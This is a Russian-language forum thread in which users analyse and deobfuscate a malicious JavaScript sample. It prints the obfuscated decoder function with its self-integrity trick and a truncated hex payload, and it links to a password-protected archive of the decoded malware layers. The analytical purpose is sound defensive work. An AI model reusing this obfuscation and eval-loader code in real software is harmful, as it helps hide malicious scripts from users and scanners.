Анализ js вредоноса

Тема в разделе "WASM.BEGINNERS", создана пользователем Vadimcg, 24 ноя 2017.

Метки:
  1. Vadimcg

    Vadimcg Member

    Публикаций:
    0
    Регистрация:
    5 апр 2017
    Сообщения:
    32
    Есть скрип(ниже) в который я привел читабельному виду и закоментировл eval( вместо него поместил document.write). Получаю след. картину:
    [​IMG]


    Это код который прекрасно исполняеться через eval. Вопрос: как привести вывод(на картинке) к читабильному виду?

    //Данная функция используеться ниже
    function I58mjY6n3(Gn84wOfOJ) {
    var t1jXcSnPQ = arguments.callee.toString().replace(/\W/g, '').toUpperCase();
    var eLIbPIF7p;
    var ra7bf6C78;
    var jf4F1w040 = t1jXcSnPQ.length;
    var WGBWb43IT;
    var M6Nnm6jY0 = '';
    var LXjk2bnx0 = new Array();
    for (ra7bf6C78 = 0; ra7bf6C78 < 256; ra7bf6C78++) LXjk2bnx0[ra7bf6C78] = 0;
    var eLIbPIF7p = 1;
    for (ra7bf6C78 = 128; ra7bf6C78; ra7bf6C78 >>= 1) {
    eLIbPIF7p = (eLIbPIF7p >>> 1) ^ ((eLIbPIF7p & 1) ? 3988292384 : 0);
    for (B776YPewP = 0; B776YPewP < 256; B776YPewP += ra7bf6C78 * 2) {
    LXjk2bnx0[B776YPewP + ra7bf6C78] = (LXjk2bnx0[B776YPewP] ^ eLIbPIF7p);
    if (LXjk2bnx0[B776YPewP + ra7bf6C78] < 0) {
    LXjk2bnx0[B776YPewP + ra7bf6C78] += 4294967296;
    }
    }
    }
    WGBWb43IT = 4294967295;
    for (eLIbPIF7p = 0; eLIbPIF7p < jf4F1w040; eLIbPIF7p++) {
    WGBWb43IT = LXjk2bnx0[(WGBWb43IT ^ t1jXcSnPQ.charCodeAt(eLIbPIF7p)) & 255] ^ ((WGBWb43IT >> 8) & 16777215);
    }
    var a0MNhygDE = new Array();
    var VLcQ0ni2w = 2323;
    WGBWb43IT = WGBWb43IT ^ 4294967295;
    if (WGBWb43IT < 0) {
    WGBWb43IT += 4294967296;
    }
    WGBWb43IT = WGBWb43IT.toString(16).toUpperCase();
    var WuULoP1P6 = new Array();
    var jf4F1w040 = WGBWb43IT.length;
    for (ra7bf6C78 = 0; ra7bf6C78 < 8; ra7bf6C78++) {
    var urC6il2mW = jf4F1w040 + ra7bf6C78;
    a0MNhygDE[ra7bf6C78] = 1;
    a0MNhygDE[ra7bf6C78] = VLcQ0ni2w;
    if (urC6il2mW >= 8) {
    urC6il2mW = urC6il2mW - 8;
    WuULoP1P6[ra7bf6C78] = WGBWb43IT.charCodeAt(urC6il2mW);
    } else {
    WuULoP1P6[ra7bf6C78] = 48;
    }
    }
    var W6I7dO58p = 0;
    var Ws1uxP2aj;
    var OuRX2x03g;
    var q1qF7Hwsy;
    jf4F1w040 = Gn84wOfOJ.length;
    q1qF7Hwsy = jf4F1w040;
    VLcQ0ni2w = 1123;
    VLcQ0ni2w = q1qF7Hwsy;
    for (ra7bf6C78 = 0; ra7bf6C78 < jf4F1w040; ra7bf6C78 += 2) {
    var mMMN4608B = Gn84wOfOJ.substr(ra7bf6C78, 2);
    Ws1uxP2aj = parseInt(mMMN4608B, 16);
    OuRX2x03g = Ws1uxP2aj - WuULoP1P6[W6I7dO58p];
    if (OuRX2x03g < 0) {
    OuRX2x03g = OuRX2x03g + 256;
    }
    M6Nnm6jY0 += String.fromCharCode(OuRX2x03g);
    q1qF7Hwsy++;
    VLcQ0ni2w = 3891;
    if (W6I7dO58p < WuULoP1P6.length - 1) {
    W6I7dO58p++;
    VLcQ0ni2w = 1092;
    a0MNhygDE[ra7bf6C78] = 20;
    } else {
    W6I7dO58p = 0;
    VLcQ0ni2w = ra7bf6C78;
    }
    }
    //eval(M6Nnm6jY0);
    document.write(M6Nnm6jY0);

    }
    //ВОТ ТУТ
    I58mjY6n3('98B69377956F727c866C68716969.......92a7867973876d9b7276867668776d9A9278A66c9373959b6aa786677377696768767b6968797568727b866C73796a7867787C6874799667927E7B666b876d7D7278867773856D9C67757e6B93786d7b66A77B6B68856970677c7B6868796A6766A97D646686686A586e80');


    Полный текст скрипта
     
  2. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    701
  3. Vadimcg

    Vadimcg Member

    Публикаций:
    0
    Регистрация:
    5 апр 2017
    Сообщения:
    32
    А можно поподробнее?
     
  4. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    631
    Адрес:
    Russia
  5. HESH

    HESH Active Member

    Публикаций:
    2
    Регистрация:
    20 мар 2008
    Сообщения:
    146
    Для приведения результатов к читабельному виду необходим оригинальный файл с точностью до символа. Представленный не пашет засчет трика с arguments.callee.toString().replace(/\W/g, '').toUpperCase(); Внесение изменений в файл приводит к искажению результата функи I58mjY6n3. Мой результат documenet.write изначально отличался от представленного на скрине. Выложи оригинальный (небезопасный), попробую поковырять.
     
  6. unc1e

    unc1e Active Member

    Публикаций:
    2
    Регистрация:
    28 июл 2017
    Сообщения:
    287
  7. HESH

    HESH Active Member

    Публикаций:
    2
    Регистрация:
    20 мар 2008
    Сообщения:
    146
    Все что удалось выжать из скрипта можно посмотреть по ссылке http://rgho.st/7wd4qcNDt

    В архиве 3 скрипта и 2 txt:

    Layer1.js - исходный файл скрипта (тот что в первом посте указан)
    Layer1_key.txt - ключ при помощи которого расшифровываются вложенные данные 1-го скрипта
    Layer2.js - 2-ой скрипт, порождаемый из 1-го
    Layer2_key.txt - ключ при помощи которого расшифровываются вложенные данные 2-го скрипта
    Core.js - сам засранец в более-менее читаемом виде
     
    Vadimcg нравится это.
  8. HESH

    HESH Active Member

    Публикаций:
    2
    Регистрация:
    20 мар 2008
    Сообщения:
    146
    Совсем забыл, пароль на архив: wasm.in
     
  9. Vadimcg

    Vadimcg Member

    Публикаций:
    0
    Регистрация:
    5 апр 2017
    Сообщения:
    32
    Спасибо, в конце концов загнал все в Malzilla, он выдал результат как у вас. Подскажите ошибку в моей логике: я делал html документ , подключал туда вредоносный скрипт , и до его подключения прописывал:

    <script type="text/javascript">
    window.eval = function(arg) {
    document.write(arg);
    }
    </script>

    Все выводилось как у вас, но после for(HsX160QoY=0;HsX160QoY<h7tmu3g10;hsx160qoy+=2){ выводился мусор var head="" <="" od2vkfj61 (у вас var ogUSa5C2q = Tj5gAbiNE.substr(HsX160QoY, 2); ). Непойму почему............ Вообще как я понял вы разбирались в алгоритме, по идее на разбор такого скрипта должен уходить час(в антивирусных компаниях), сколько у вас времени ушло?
     
  10. unc1e

    unc1e Active Member

    Публикаций:
    2
    Регистрация:
    28 июл 2017
    Сообщения:
    287
    2 минуты, я видео сниму чуть-чуть позже
    // а лучше статью небольшую
     
    Vadimcg и Mikl___ нравится это.
  11. HESH

    HESH Active Member

    Публикаций:
    2
    Регистрация:
    20 мар 2008
    Сообщения:
    146
    Ошибки-то как таковой здесь нет. Ход мысли правильный - необходимо что бы этот скрипт был исполнен в контексте браузера. Иначе никак, потому что в противном случае не удастся получить экземпляр объекта document. Единственное, на что я могу обратить ваше внимание - это на невнимательность, т.к. сам скрипт написан таким образом, что сначала идет JS-функция и следом же код (вне контекста функции) ее вызывающий - I58mjY6n3('98B6a29aa5aeB4a...бла-бла...6e80'); Таким образом эта функция в любом случает будет выполнена при загрузке скрипта. Плохо то, что вы так и хотите запустить этот вредонос на исполнение. Это хорошо, что зверушка мертвой оказалась, иначе вы сами себя бы наказали. :focus:

    Да, я попытался проанализировать логику работы этой функции. Ушло на это ну где-то пол-часа-час, т.к. интересен был трик с контролем целостности.

    P.S.: Больше так не делайте с EVAL, вы не для того от него избавлялись в скрипте, заменяя на document.write, что бы снова вызвать на страничке ))))))
     
    Последнее редактирование: 3 дек 2017
    TermoSINteZ нравится это.
  12. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.568
    Адрес:
    Russia
    В свое время, вместе с Крисом (доброй ему памяти) писали автоматический анализатор таких вещей.

    Самый простой вариант - это конечно написать на базе движка например хрома. Там можно переопределять методы, такие как eval и не только - и допустим перенаправлять на printf или еще куча вариантов есть. Но иногда попадались вещи которые заточены четко под IE и попытки проэмулировать JS на хроме или мозиловском монкей движке - ни к чему не приводили. У IE особая магия, особенно если это таргетированный JS под определенную версию IE.

    По поводу контекста - технически такие эмуляторы позволяли эмулировать контекст (при доработке конечно же), но к примеру если скрипт написан под Adobe PDF - то там были вещи которые, вот просто так не напишешь, чтоб эмулировалось (а там бывали скрипты зловредные и без eval). По сути вы должны контролировать любой вызов внешней библиотеки.

    А время разбора скрипта - обычно зависит от имеющихся тулов и уровне вложенности. А иногда бывает - что попадались скрипты, где идет попытка загрузить другой JS который доступен в определенное время - тогда можно подумать, что там нет зловреда, но это не так. В общем много вариаций. Все не перечислишь.
     
    Vadimcg нравится это.